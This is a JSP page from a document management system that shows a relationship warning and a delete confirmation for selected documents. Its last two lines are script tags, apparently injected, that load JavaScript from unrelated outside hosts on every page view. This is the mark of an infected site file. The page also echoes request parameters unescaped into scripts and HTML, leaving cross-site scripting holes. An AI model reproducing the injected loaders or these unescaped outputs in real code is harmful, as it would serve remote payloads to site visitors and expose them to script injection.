 <%
/*
 * @(#)ViewDmsDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ViewDmsDocument.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    01/10/2004
    @version          $Revision: 1.19.2.11 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.text.*"%>
<%@ page import="javax.servlet.jsp.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.user.dao.*"%>
<%@ page import="com.dcivision.alert.bean.UpdateAlert"%>
<%@ page import="com.dcivision.forum.bean.*"%>
<%@ page import="com.dcivision.forum.core.*"%>
<%@ page import="com.dcivision.forum.*"%>
<%@ page import="com.dcivision.alert.core.*"%>

<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="warningForm" scope="request" class="com.dcivision.dms.web.WarningForm"/>

<html:form action="dms/Warning" onsubmit="return(false);">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="returnTo"/>
<%if (request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)!=null && ((String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)).startsWith("DMS")) {%>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp?dummy=<%=Utility.getCurrentTimestamp().getTime()%>" charset="UTF-8" type="text/javascript"></script>
<%}%>
<script language="javascript">
  var checkUnload=true;
</script>
<%
  int No=0;
  if(!Utility.isEmpty(request.getParameter("No"))){
    No=TextUtility.parseInteger(request.getParameter("No"));
  }
  String[] selectedID=(String[])session.getAttribute("selectedID");
  Integer documentID=null;;
  if(!Utility.isEmpty(request.getParameter("documentID"))){
    documentID=TextUtility.parseIntegerObj(request.getParameter("documentID"));
  }else if(selectedID.length>0){
    documentID=TextUtility.parseIntegerObj(selectedID[0]);
  }

  Integer parentID=null;
  Integer rootID=null;
  if(!Utility.isEmpty(warningForm.getParentID())){
    parentID=TextUtility.parseIntegerObj(warningForm.getParentID());
  }
  if(!Utility.isEmpty(warningForm.getRootID())){
    rootID=TextUtility.parseIntegerObj(warningForm.getRootID());
  }

  String funFlag=request.getParameter("funFlag");

  String returnTo = request.getParameter("returnTo") != null ? request.getParameter("returnTo") : warningForm.getReturnTo();
  String encodeReturnTo ="";
  if(!Utility.isEmpty(returnTo)){
    encodeReturnTo =java.net.URLEncoder.encode(returnTo);
  }

  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  List dmsRelationshipDocumentList=(List)request.getAttribute("dmsRelationshipDocumentList");
  List IndirectRelationDocumentList=(List)request.getAttribute("IndirectRelationDocumentList");

  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  DmsDocument dmsDocument=(DmsDocument)docRetrievalManager.getDocument(documentID);
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  RootRetrievalManager rootRetrievalManager = new RootRetrievalManager(sessionContainer,conn);

  if(Utility.isEmpty(parentID)){
    parentID=dmsDocument.getParentID();
  }
  if(Utility.isEmpty(rootID)){
    rootID=dmsDocument.getRootID();
  }

  String lockUserID=request.getParameter("lockUserID");

  String sCurFunctionCode = "";
  Integer curDocID=parentID;
  //Permission string
  String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, curDocID);
  DmsDocument documentRoot = new DmsDocument();
  if (Utility.isEmpty(sCurFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
    //Permission string
    documentRoot = docRetrievalManager.getRootFolderByRootID(dmsDocument.getRootID());
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
      permission = "PERSONAL";
    } else {
      sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }
  }
  UserRecordDAObject userRecordDAO = new UserRecordDAObject(sessionContainer,conn);
%>
<script language="javascript">
var i=<%=No%>;
var selectedIDList=[<%=selectedID.length%>];
<%for( int j=0;j<selectedID.length;j++){%>
selectedIDList[<%=j%>]=<%=selectedID[j]%>;
<%}%>

function SetCheckbox(funFlag){
	if (window.opener.closed) {
    window.close();
		return;
	}
  checkUnload=false;
  i++;
  if(funFlag=="delete"){
        if(i<<%=selectedID.length%>){
         window.opener.SetCheck('<%=documentID%>','<%=funFlag%>','<%=lockUserID%>');
          var ID=selectedIDList[i];
      document.warningForm.opMode.value="DMS.RELATIONSHIP";
          document.warningForm.documentID.value=ID;
          document.warningForm.No.value=i;
          document.warningForm.submit();
          return false;
        }else{
          window.opener.SetCheck('<%=documentID%>','<%=funFlag%>','<%=lockUserID%>');
          window.close();
          window.opener.OpSelfListDelete();

        }
  }else{
    window.close();

  }
}

function getYesFunction(funFlag){
	if (window.opener.closed) {
    window.close();
		return;
	}
  checkUnload=false;
  i++;
  if(funFlag=="delete"){
    if(i<<%=selectedID.length%>){
          var ID=selectedIDList[i];
          document.warningForm.opMode.value="DMS.RELATIONSHIP";
          document.warningForm.documentID.value=ID;
          document.warningForm.No.value=i;
          document.warningForm.submit();
          return false;
        }else{
          window.close();
	        window.opener.OpListDelete();
        }
  }else{
    window.close();
		window.opener.getOtherPage('<%=documentID%>','<%=funFlag%>','<%=lockUserID%>','undefined','<%=encodeReturnTo%>');
  }
}

function opCheckUnload(){
	if (window.opener.closed) {
		window.close();
		return;
	}
	if(checkUnload){
		document.warningForm.No.value=0;
		window.opener.getOtherPage('<%=documentID%>','<%=funFlag%>','<%=lockUserID%>',checkUnload);
	}
}

function opNo(){
	if (window.opener.closed) {
    window.close();
		return;
	}
  document.warningForm.No.value=0;
  window.close();
	window.opener.getOtherPage('<%=documentID%>','<%=funFlag%>','<%=lockUserID%>',checkUnload);
}

</script>
<input type="hidden" name="parentID" value="<%=parentID%>">
<input type="hidden" name="rootID" value="<%=rootID%>">
<input type="hidden" name="documentID" value="<%=documentID%>">
<input type="hidden" name="funFlag" value="<%=funFlag%>">
<input type="hidden" name="lockUserID" value="<%=lockUserID%>">
<input type="hidden" name="No" value="<%=No%>">
<table cellpadding="0" cellspacing="0" border="0" width="780"><tr><td>


<!-- Search Title -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" background="<html:img src='LayoutFinderBg.gif'  pathOnly='true'/>">
  <tr>
    <td colspan="2">
      <nobr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b><bean:message key='dms.label.relationship_warning'/></b></nobr>
      <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font class="bodyVerySmall"><bean:message key="dms.label.following_relationship"/>:&nbsp;<bean:message key="dms.label.warning_content"/></font>
    </td>
  </tr>
</table>

<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<table cellpadding="0" cellspacing="2" border="0" width="100%">
<layout:sectionHeader name='dms.label.doc_info_D' mandatory='false'/>
<tr>
  <td class="formLabelSmall" width='150' valign='top'><bean:message key='dms.label.document_name'/>:&nbsp;</td>
  <td class="formFieldSmall">
  <nobr><dms:documentInfo docObject='<%=dmsDocument%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>' curFunctionCode='<%=sCurFunctionCode%>' checkWindowForAction='true'/>

  </td>
</tr>
<tr>
  <td class="formLabelSmall" width='150' valign='top'><bean:message key='dms.label.location'/>:&nbsp;</td>
  <td class="formFieldSmall" >
  <%if (dmsDocument.getParentID().intValue() !=0 ) { %>
  <dms:locationPath parentID="<%=dmsDocument.getParentID()%>" rootID="<%=dmsDocument.getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='showIndexFlag'/>
  <%}else{%>
  <bean:message key='dms.label.root'/>
  <%}%>
  </td>
</tr>
</table>
</td></tr></table>

<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<layout:sectionHeader name="dms.label.related_doc_list" mandatory="false"/>
<tr><td>
  <table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">

  <!-- Table Column Header Begin -->
  <tr class="columnHead">
   <!-- Table Column Header Begin -->
  <td color="#000000" background-color="#DDDDDD" font-size="9pt" text-align="left"><bean:message key="dms.label.name_D"/></td>
  <td color="#000000" background-color="#DDDDDD" font-size="9pt" text-align="left"><bean:message key="dms.columnheader.relationshipType"/></td>
  <td color="#000000" background-color="#DDDDDD" font-size="9pt" text-align="left"><bean:message key="dms.columnheader.related_doc_name"/></td>
  <td color="#000000" background-color="#DDDDDD" font-size="9pt" text-align="left"><bean:message key="dms.columnheader.location"/></td>
  <!--td color="#000000" background-color="#DDDDDD" font-size="9pt" text-align="left"><bean:message key="common.label.creator"/></td-->
  <!-- Table Column Header End -->
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <%
 /* int leg=1;
  if(!Utility.isEmpty(selectedID)){
    leg=selectedID.length;
  }
  for(int i=0;i<leg;i++){*/%>
 <logic:iterate id="relationShipObj" name="dmsRelationshipDocumentList" scope="request" indexId="listLoopCnt">
  <tr id="tr<%=((AbstractBaseObject)relationShipObj).getID()%>"  onMouseDown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)relationShipObj).getID()%>);">
    <%
    Integer relatedDocID = ((MtmDocumentRelationship)relationShipObj).getRelatedDocumentID();
    DmsDocument relatedDocument = docRetrievalManager.getDocument(relatedDocID);
    DmsDocument relatedDocumentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(relatedDocument.getRootID());
    //DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
    Integer relatedDocParentID =  relatedDocument.getParentID();
    DmsDocument relatedParentDoc = docRetrievalManager.getDocument(relatedDocParentID);
    UserRecord userRecord = (UserRecord)userRecordDAO.getUserByID(relatedParentDoc.getOwnerID());
    %>
    <td nowrap width="200">
    <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' recordStatus='<%=dmsDocument.getRecordStatus()%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>' isOverLib='true' checkWindowForAction='true'/>
    </td>
     <td class="bodyVerySmall" nowrap>
      <html:img src='IconDMSRelationshipActive.gif'  align='absmiddle'/>
      -
      <html:select property="relationshipType" value="<%=((MtmDocumentRelationship)relationShipObj).getRelationshipType()%>" textOnly='true'>
              <html:options dbListName='dmsDocumentRelationshipList'/>
      </html:select>
    </td>
        <td nowrap width="200">
          <dms:documentInfo docObject='<%=(DmsDocument)relatedDocument%>' permission='<%=permission%>' rootDocument='<%=relatedDocumentRoot%>' checkWindowForAction='true'/>
        </td>
    <td>
      <% if (((DmsDocument)relatedDocument).getParentID().intValue() !=0 ) { %>
      <nobr>
      <% if (SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_MYFAVORITE_FOLDER_NAME).equals(relatedParentDoc.getDocumentName())){%>
        <%=userRecord.getLoginName()%><bean:message key="dms.label.user.Favorite"/>
      <%}%>
      <dms:locationPath parentID="<%=((DmsDocument)relatedDocument).getParentID()%>" rootID="<%=((DmsDocument)relatedDocument).getRootID()%>" permission='<%=permission%>' rootDocument='<%=relatedDocumentRoot%>' indexFlag='showIndexFlag' showAllPath='false'/></nobr>
      <%}else{%>
      <bean:message key='dms.label.root'/>
      <%}%>
    </td>
        <!--<td class="bodyVerySmall"><%=((DmsDocument)relatedDocument).getCreatorName()%></td>-->
  </tr>
  </logic:iterate>
  <%if(!Utility.isEmpty(dmsRelationshipDocumentList) && !Utility.isEmpty(IndirectRelationDocumentList)){%>
  <tr>
   <td colspan="6" height="20" color="white"></td>
  </tr>
  <%}%>
   <logic:iterate id="indirectRelationShipObj" name="IndirectRelationDocumentList" scope="request" indexId="listLoopCnt">
  <tr id="tr<%=((AbstractBaseObject)indirectRelationShipObj).getID()%>" onMouseDown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)indirectRelationShipObj).getID()%>);">
    <%
    Integer relatedDocID = ((MtmDocumentRelationship)indirectRelationShipObj).getRelatedDocumentID();
    DmsDocument indirectRelatedDocument = docRetrievalManager.getDocument(relatedDocID);
    DmsDocument indirectRelatedDocumentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(indirectRelatedDocument.getRootID());
    %>
    <td nowrap width="200">
      <dms:documentInfo docObject='<%=(DmsDocument)indirectRelatedDocument%>' permission='<%=permission%>' rootDocument='<%=indirectRelatedDocumentRoot%>' checkWindowForAction='true'/>
    </td>
     <td class="bodyVerySmall" nowrap>
      <html:img src='IconDMSRelationshipPassive.gif'  align='absmiddle'/>
      -
      <html:select property="relationshipType" value="<%=((MtmDocumentRelationship)indirectRelationShipObj).getRelationshipType()%>" textOnly='true'>
              <html:options dbListName='dmsDocumentRelationshipList'/>
      </html:select>
    </td>
        <td nowrap width="200">
    <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' recordStatus='<%=dmsDocument.getRecordStatus()%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>' isOverLib='true' checkWindowForAction='true'/>
    </td>
    <td>
      <% if (((DmsDocument)indirectRelatedDocument).getParentID().intValue() !=0 ) { %>
      <nobr><dms:locationPath parentID="<%=((DmsDocument)indirectRelatedDocument).getParentID()%>" rootID="<%=((DmsDocument)indirectRelatedDocument).getRootID()%>" permission='<%=permission%>' rootDocument='<%=indirectRelatedDocumentRoot%>' indexFlag='showIndexFlag'  showAllPath='false'/></nobr>
      <%}else{%>
      <bean:message key='dms.label.root'/>
      <%}%>
    </td>
        <!--<td class="bodyVerySmall"><%=((DmsDocument)indirectRelatedDocument).getCreatorName()%></td>-->
  </tr>
  </logic:iterate>
  <%//}%>
   <!-- Record Looping End -->
  <!-- Pager Information Begin -->

  <!-- Pager Information End -->
  </table></td></tr>
</table>
</td></tr></table>

  <P><bean:message key="dms.label.do_you_want_to"/> <%=funFlag%> <bean:message key="dms.label.this_document"/>?<br>
  <%String actionString = "return getYesFunction('"+funFlag+"');"; %>
  <html:standardButton label="common.label.yes" onClick='<%=actionString%>'/>
  <html:standardButton label="common.label.no" onClick="return opNo();"/>
  </P>

  </html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>